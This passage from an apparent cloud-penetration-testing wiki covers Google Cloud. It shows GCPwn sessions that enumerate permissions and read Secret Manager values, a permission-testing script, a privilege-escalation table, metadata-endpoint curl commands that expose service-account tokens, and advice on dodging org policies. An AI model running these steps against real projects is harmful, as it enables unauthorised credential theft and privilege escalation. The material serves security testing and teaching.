https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: service service_user /home/kali/gcpwn/key.json\n[*] Credentials successfuly added\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n(production-project[TRUNCATED]:service_user)> modules run enum_instances\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)> modules run enum_instances --iam\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n    - compute.instances.addAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.addMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.addResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.attachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.createTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.delete\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.detachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.getEffectiveFirewalls\n      - instance-20240630-025631 (instances)\n    - compute.instances.getGuestAttributes\n      - instance-20240630-025631 (instances)\n    - compute.instances.getIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.getScreenshot\n      - instance-20240630-025631 (instances)\n    - compute.instances.getSerialPortOutput\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedInstanceIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedVmIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.listEffectiveTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.listReferrers\n      - instance-20240630-025631 (instances)\n    - compute.instances.listTagBindings\n      - instance-20240630-025631 (instances)\n    - compute.instances.osAdminLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.osLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.reset\n      - instance-20240630-025631 (instances)\n    - compute.instances.resume\n      - instance-20240630-025631 (instances)\n    - compute.instances.sendDiagnosticInterrupt\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDeletionProtection\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDiskAutoDelete\n      - instance-20240630-025631 (instances)\n    - compute.instances.setIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setLabels\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineResources\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineType\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMetadata\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMinCpuPlatform\n      - instance-20240630-025631 (instances)\n    - compute.instances.setName\n      - instance-20240630-025631 (instances)\n    - compute.instances.setScheduling\n      - instance-20240630-025631 (instances)\n    - compute.instances.setSecurityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setServiceAccount\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedInstanceIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedVmIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.simulateMaintenanceEvent\n      - instance-20240630-025631 (instances)\n    - compute.instances.start\n      - instance-20240630-025631 (instances)\n    - compute.instances.startWithEncryptionKey\n      - instance-20240630-025631 (instances)\n    - compute.instances.stop\n      - instance-20240630-025631 (instances)\n    - compute.instances.suspend\n      - instance-20240630-025631 (instances)\n    - compute.instances.update\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateDisplayDevice\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateNetworkInterface\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateSecurity\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedInstanceConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedVmConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.use\n      - instance-20240630-025631 (instances)\n    - compute.instances.useReadOnly\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)> creds info --csv\n^C\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cd GatheredData/1_demoworkspace/Reports/Snapshots/    \n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ ls\nPermission_Summary_service_user_20240714161752.csv  service_user_1720988272.6552665.csv\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ cat Permission_Summary_service_user_20240714161752.csv \nCredname,Permission,Asset Type,Asset Name,Project_ID,Flagged\nservice_user,compute.instances.list,Project,production-project[TRUNCATED],production-project[TRUNCATED],False\nservice_user,compute.instances.get,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addAccessConfig,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addMaintenancePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addResourcePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.attachDisk,instances,instance-20240630-025631,production-project[TRUNCATED],False\n

      As mentiond before, each individual service can have testIamPermission so each enum module can have testIamPermissions. This would kinda stink if you had to run them individually so added an enum_all module which calls ALL enumeration modules. You can pass in --iam to enum_all to run all possible testIamPermissions

      \u2514\u2500$ python3 main.py \n[*] Found existing sessions:\n  [0] New session\n  [1] DemoWorkspace\n  [2] exit\nChoose an option: 1\n[TRUNCATED]\n\nWelcome to your workspace! Type 'help' or '?' to see available commands.\n\n[*] Listing existing credentials...\n  [1] service_user (service) - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      <credential_name> [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file <credential_name> <filepath> [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   <credential_name> <token_value> [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   <credential_name> <filepath_to_service_creds>    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: 1\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)> modules run enum_all --iam \n[***********] Beginning enumeration for production-project[TRUNCATED] [***********]\n[*] Beginning Enumeration of RESOURCE MANAGER Resources...\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE                                                                                                           \n[*] Beginning Enumeration of CLOUD COMPUTE Resources...\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                            \n     - instance-20240630-025631                                                                                                                                     \n[*] Checking Cloud Compute Project production-project[TRUNCATED]...\n[*] Only first few metadata characters shown, run `data tables cloudcompute-projects --columns project_id,common_instance_metadata` to see all of metadata. Use --csv to export it to a csv.\n[SUMMARY] GCPwn found 1 Compute Project(s) potentially with metadata\n   - production-project[TRUNCATED]                                                                                                                                                            \n[*] Beginning Enumeration of CLOUD FUNCTION Resources...\n[*] Checking production-project[TRUNCATED] for functions...\n[**] Reviewing projects/production-project[TRUNCATED]/locations/us-central1/functions/function-12\n[***] GET Individual Function\n[***] TEST Function Permissions\n[SUMMARY] GCPwn found 1 Function(s) in production-project[TRUNCATED]\n   - [us-central1] function-12                                                                                                                                                              \n[*] Beginning Enumeration of CLOUD STORAGE Resources...\n[*] Checking production-project[TRUNCATED] for HMAC keys...\n[SUMMARY] GCPwn found 1 HMAC Key(s) in production-project[TRUNCATED]\n   - [production-project[TRUNCATED]] GOOG1EV[TRUNCATED] - ACTIVE                                                                                   \n     SA: [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                                                 \n[*] Checking production-project[TRUNCATED] for buckets/blobs via LIST buckets...\n[**] Reviewing bucket-to-see-how-much-stuff-121212121212\n[***] GET Bucket Object\n[X] 403 The user does not have storage.buckets.get permissions on bucket bucket-to-see-how-much-stuff-121212121212\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[X] 403: The user does not have storage.objects.list permissions on\n[**] Reviewing gcf-v2-sources-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[***] GET Bucket Blobs\n[**] Reviewing gcf-v2-uploads-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[**] Reviewing testweoajrpjqfpweqjfpwejfwef\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[SUMMARY] GCPwn found 4 Buckets (with up to 10 blobs shown each) in production-project[TRUNCATED]\n   - bucket-[TRUNCATED]                                                                                                                    \n   - gcf-[TRUNCATED]                                                                                                                      \n     - function-12/function-source.zip                                                                                                                              \n   - gcf-[TRUNCATED]                                                                                                                       \n   - test[TRUNCATED]                                                                                                                                 \n[*] Beginning Enumeration of SECRETS MANAGER Resources...\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 2\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 2\n[****] SECRET VALUE RETRIEVED FOR 2\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test-location\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[SUMMARY] GCPwn found 2 Secrets in production-project[TRUNCATED]\n   - test                                                                                                                                                           \n     - 1: test121212                                                                                                                                                \n     - 2: test                                                                                                                                                      \n   - test-location                                                                                                                                                  \n     - 1: test121212                                                                                                                                                \n[*] Beginning Enumeration of IAM Resources...\n[*] Checking production-project[TRUNCATED] for service accounts...\n[SUMMARY] GCPwn found 3 Service Account(s) in production-project[TRUNCATED]\n   - [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                             \n   - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com                                                                                        \n   - production-project[TRUNCATED]@appspot.gserviceaccount.com                                                                                                      \n[*] Checking production-project[TRUNCATED] for roles...\n[SUMMARY] GCPwn found or retrieved NO Custom Role(s)\n[*] Checking IAM Policy for Organizations...\n[*] Checking IAM Policy for Folders...\n[*] Checking IAM Policy for Projects...\n[*] Checking IAM Policy for Buckets...\n[X] 403: The user does not have storage.buckets.getIamPolicy permissions\n[*] Checking IAM Policy for CloudFunctions...\n[*] Checking IAM Policy for Compute Instances...\n[*] Checking IAM Policy for Service Accounts...\n[*] Checking IAM Policy for Secrets...\n[***********] Ending enumeration for production-project[TRUNCATED] [***********]\n\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - cloudfunctions.functions.call\n    - cloudfunctions.functions.create\n    - cloudfunctions.functions.list\n    - cloudfunctions.functions.setIamPolicy\n    - cloudfunctions.functions.sourceCodeSet\n    - cloudfunctions.functions.update\n    - compute.disks.create\n    - compute.instances.create\n    - compute.instances.list\n    - compute.instances.setMetadata\n    - compute.instances.setServiceAccount\n    - compute.projects.get\n    - compute.subnetworks.use\n    - compute.subnetworks.useExternalIp\n    - deploymentmanager.deployments.create\n    - iam.roles.update\n    - iam.serviceAccountKeys.create\n    - iam.serviceAccounts.actAs\n    [TRUNCATED]\n- Storage Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - storage.buckets.delete\n      - bucket[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - test[TRUNCATED] (buckets)\n    - storage.buckets.get\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.getIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.setIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n     [TRUNCATED]\n- Secret Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - secretmanager.secrets.get\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.delete\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.getIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.setIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.update\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.versions.get\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.access\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.destroy\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.disable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.enable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n
      "},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-9500-permission-on-orgfolderproject","title":"Enumerate ~9500 Permission on Org/Folder/Project","text":"

      gcpwn includes a special flag for enum_resources called --all-permissions. When this is used with the --iam flag, gcpwn will attempt ~9500 individual permissions via testIamPermissions. This effectively should tell you every permission the user has in the current resource. Note you can find the list of permissions via the repository. For example, here are all the project permissions it tries. NOTE AGAIN TESTIAMPERMISSIONS IS NOT ACTUALLY ACTIVELY INVOKING THESE APIS. Thus it should be safe to run these all through testIamPermissions. While not shown below you can pass --all-permissions and --iam into enum_all if you want to do this as part of the everything enumeration.

      (production-project[TRUNCATED]:service_user)> modules run enum_resources --iam --all-permissions\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Checking permissions in batches for projects/[TRUNCATED], note this might take a few minutes (~9000 permissions @ 500/~ 2 min = 36 min)\nCompleted 5/95\nCompleted 10/95\nCompleted 15/95\nCompleted 20/95\nCompleted 25/95\nCompleted 30/95\nCompleted 35/95\nCompleted 40/95\nCompleted 45/95\nCompleted 50/95\nCompleted 55/95\nCompleted 60/95\nCompleted 65/95\nCompleted 70/95\nCompleted 75/95\nCompleted 80/95\nCompleted 85/95\nCompleted 90/95\nCompleted 95/95\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE\n\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - accessapproval.requests.approve\n    - accessapproval.requests.dismiss\n    - accessapproval.requests.get\n    - accessapproval.requests.invalidate\n    - accessapproval.requests.list\n    - accessapproval.serviceAccounts.get\n    - accessapproval.settings.delete\n    - accessapproval.settings.get\n    - accessapproval.settings.update\n    - actions.agent.claimContentProvider\n    [TRUNCATED]\n    - workloadmanager.insights.export\n    - workloadmanager.insights.write\n    - workloadmanager.locations.get\n    - workloadmanager.locations.list\n    - workloadmanager.operations.cancel\n    - workloadmanager.operations.delete\n    - workloadmanager.operations.get\n    - workloadmanager.operations.list\n    - workloadmanager.results.list\n    - workloadmanager.rules.list\n    - workstations.operations.get\n    - workstations.workstationClusters.create\n    - workstations.workstationClusters.delete\n    - workstations.workstationClusters.get\n    - workstations.workstationClusters.list\n    - workstations.workstationClusters.update\n    - workstations.workstationConfigs.create\n    - workstations.workstationConfigs.delete\n    - workstations.workstationConfigs.get\n    - workstations.workstationConfigs.getIamPolicy\n    - workstations.workstationConfigs.list\n    - workstations.workstationConfigs.setIamPolicy\n    - workstations.workstationConfigs.update\n    - workstations.workstations.create\n    - workstations.workstations.delete\n    - workstations.workstations.get\n    - workstations.workstations.getIamPolicy\n    - workstations.workstations.list\n    - workstations.workstations.setIamPolicy\n    - workstations.workstations.start\n    - workstations.workstations.stop\n    - workstations.workstations.update\n
      "},{"location":"gcp/enumeration/enumerate_service_account_permissions/","title":"Enumerate Service Account Permissions","text":"

      Link to Tool: GitHub

      On GCP it is possible to use the projects.testIamPermissions method to check the permissions that a caller has on the specified Project.

      To enumerate permissions you will need either a service account key file or an access token as well as the project ID.

      Info

      The project ID can be retrieved from the metadata endpoint at /computeMetadata/v1/project/project-id

      The following script taken from the ThunderCTF repository can be used to enumerate permissions:

      from googleapiclient import discovery\nimport google.oauth2.service_account\nfrom google.oauth2.credentials import Credentials\nimport os, sys\nfrom permissions import permissions\n\nif len(sys.argv) != 2:\n    sys.exit(\"Usage python test-permissions <token | path_to_key_file>\")\n\nif os.getenv('GOOGLE_CLOUD_PROJECT'):\n    PROJECT_ID = os.getenv('GOOGLE_CLOUD_PROJECT')\n    print(PROJECT_ID)\nelse:\n    sys.exit(\"Please set your GOOGLE_CLOUD_PROJECT environment variable via gcloud config set project [PROJECT_ID]\")\n\nif (os.path.exists(sys.argv[1])):\n    print(f'JSON credential: {sys.argv[1]}')\n    # Create credentials using service account key file\n    credentials = google.oauth2.service_account.Credentials.from_service_account_file(sys.argv[1])\nelse:\n    print(f'Access token: {sys.argv[1][0:4]}...{sys.argv[1][-4:]}')\n    ACCESS_TOKEN = sys.argv[1]\n    # Create credentials using access token\n    credentials = Credentials(token=sys.argv[1])\n\n# Split testable permissions list into lists of 100 items each\nchunked_permissions = (\n    [permissions[i * 100:(i + 1) * 100] for i in range((len(permissions)+99) // 100)])\n\n# Build cloudresourcemanager REST API python object\ncrm_api = discovery.build('cloudresourcemanager',\n                          'v1', credentials=credentials)\n\n# For each list of 100 permissions, query the api to see if the service account has any of the permissions\ngiven_permissions = []\nfor permissions_chunk in chunked_permissions:\n    response = crm_api.projects().testIamPermissions(resource=PROJECT_ID, body={\n        'permissions': permissions_chunk}).execute()\n    # If the service account has any of the permissions, add them to the output list\n    if 'permissions' in response:\n        given_permissions.extend(response['permissions'])\n\nprint(given_permissions)\n
      "},{"location":"gcp/enumeration/enumerate_service_account_permissions/#updating-the-list-of-permissions","title":"Updating the list of permissions","text":"

      The file containing the list of permissions needs to be created / updated before using the enumeration script.

      The file permissions.py should look like this:

      permissions = [\n  'accessapproval.requests.approve',\n  ...\n  'vpcaccess.operations.list'\n]\n

      The list of existing permissions can be obtained from the IAM permissions reference page or from the IAM Dataset powering gcp.permissions.cloud.

      "},{"location":"gcp/exploitation/gcp_iam_privilege_escalation/","title":"Privilege Escalation in Google Cloud Platform","text":"Permission \u00a0Resources cloudbuilds.builds.create Script / Blog Post cloudfunctions.functions.create Script / Blog Post cloudfunctions.functions.update Script / Blog Post cloudscheduler.jobs.create Blog Post composer.environments.get Blog Post 1, 2 compute.instances.create Script / Blog Post dataflow.jobs.create Blog Post 1, 2 dataflow.jobs.update Blog Post 1, 2 dataproc.clusters.create Blog Post 1, 2 dataproc.clusters.create Blog Post 1, 2 dataproc.jobs.create Blog Post 1, 2 dataproc.jobs.update Blog Post 1, 2 deploymentmanager.deployments.create Script / Blog Post iam.roles.update Script / Blog Post iam.serviceAccountKeys.create Script / Blog Post iam.serviceAccounts.getAccessToken Script / Blog Post iam.serviceAccounts.implicitDelegation Script / Blog Post iam.serviceAccounts.signBlob Script / Blog Post iam.serviceAccounts.signJwt Script / Blog Post orgpolicy.policy.set Script / Blog Post run.services.create Script / Blog Post serviceusage.apiKeys.create Script / Blog Post serviceusage.apiKeys.list Script / Blog Post storage.hmacKeys.create Script / Blog Post"},{"location":"gcp/general-knowledge/default-account-names/","title":"Default Account Information","text":""},{"location":"gcp/general-knowledge/default-account-names/#service-accounts","title":"Service Accounts","text":"

      Service accounts are similar to Azure Service Principals. They can allow for programmatic access but also abuse.

      Information on Service Accounts

      User-Created Service Account: service-account-name@project-id.iam.gserviceaccount.com

      Using the format above, you can denote the following items:

      • service-account-name: This will tell you potentially what services this is for: Bigtable-sa or compute-sa
      • project-id: This will be the project identifier that the service account is for. You can set your gcloud configuration to this project-id. It will be numerical typically.
      "},{"location":"gcp/general-knowledge/default-account-names/#default-service-account-filename-permutations","title":"Default Service Account filename permutations:","text":"
      • serviceaccount.json
      • service_account.json
      • sa-private-key.json
      • service-account-file.json
      "},{"location":"gcp/general-knowledge/default-account-names/#application-based-service-account","title":"Application-Based Service Account:","text":"
      • project-id@appspot.gserviceaccount.com: Ths would be project-id value for App Engine or anything leveraging App Engine.
      • project-number-compute@developer.gserviceaccount.com: This service account is for Compute Engine where the project-number-compute will be: project-id-compute. I.E. 1234567-compute.
      "},{"location":"gcp/general-knowledge/default-account-names/#how-to-use-service-accounts","title":"How to use Service Accounts","text":"

      In a BASH (or equivalent) shell: export GOOGLE_APPLICATION_CREDENTIALS=\"/home/user/Downloads/service-account-file.json\"

      "},{"location":"gcp/general-knowledge/gcp-buckets/","title":"Hunting GCP Buckets","text":"

      GCP Buckets are almost 100% identical to AWS S3 Buckets.

      Theory: This call is based on OpenStack; maybe most cloud environments will be the same.

      Using @digininja's CloudStorageFinder diff the following files:

      diff bucket_finder.rb google_finder.rb

      The main differences are the URLs:

      • AWS Supports HTTP and HTTPS
      • AWS S3 URLs: http://s3-region.amazonaws.com, i.e.: http://s3-eu-west-1.amazonaws.com.
      • GCP Endpoint: https://storage.googleapis.com

      How to find buckets using CloudStorageFinder:

      Create a wordlist with any name; in our example, it is wordlist.txt.

      $ ruby google_finder.rb wordlist.txt

      "},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/","title":"Metadata in Google Cloud Instances","text":"

      Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts.

      The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254.

      curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H\n\"Metadata-Flavor: Google\"\n
      Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add 169.254.169.254 metadata.google.internal to your /etc/hosts file.

      "},{"location":"gcp/general-knowledge/metadata_in_google_cloud_instances/#metadata-endpoints","title":"Metadata Endpoints","text":"

      For basic enumeration, an attacker can target.

      http://169.254.169.254/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/\nhttp://metadata/computeMetadata/v1/\nhttp://metadata.google.internal/computeMetadata/v1/instance/hostname\nhttp://metadata.google.internal/computeMetadata/v1/instance/id\nhttp://metadata.google.internal/computeMetadata/v1/project/project-id\n
      To view scope:
      http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H \"Metadata-Flavor: Google\"\n
      To view project metadata:
      curl \"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n
      To view instance metadata:
      curl \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n

      The following table is pulled from the Google Cloud Documentation

      Metadata Endpoint Description /computeMetadata/v1/project/numeric-project-id The project number assigned to your project. /computeMetadata/v1/project/project-id The project ID assigned to your project. /computeMetadata/v1/instance/zone The zone the instance is running in. /computeMetadata/v1/instance/service-accounts/default/aliases /computeMetadata/v1/instance/service-accounts/default/email The default service account email assigned to your project. /computeMetadata/v1/instance/service-accounts/default/ Lists all the default service accounts for your project. /computeMetadata/v1/instance/service-accounts/default/scopes Lists all the supported scopes for the default service accounts. /computeMetadata/v1/instance/service-accounts/default/token Returns the auth token that can be used to authenticate your application to other Google Cloud APIs."},{"location":"gcp/general-knowledge/security-and-constraints/","title":"Security and Constraints","text":"

      GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.

      "},{"location":"gcp/general-knowledge/security-and-constraints/#examples","title":"Examples","text":"

      From: Organizational Policy Constraints

      • constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.
      • constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication.

      There are specific policies that are not retroactive. We can use these to our advantage.

      1. constraints/compute.requireShieldedVm: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs.
      2. constraints/compute.vmExternalIpAccess: Consider the following scenario:

        • Constraint is based on the following permutation: projects/PROJECT_ID/zones/ZONE/instances/INSTANCE
        • Constraint looks for the name of the machine in the project identifier specified in the specific zone
        • If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address
        • Machine cannot already exist.
        • constraints/compute.vmCanIpForward: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.
      "},{"location":"terraform/terraform_ansi_escape_evasion/","title":"Terraform ANSI Escape","text":"

      Original Research: Joern Schneeweisz

      When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

      Take for example the following Terraform code.

      main.tf
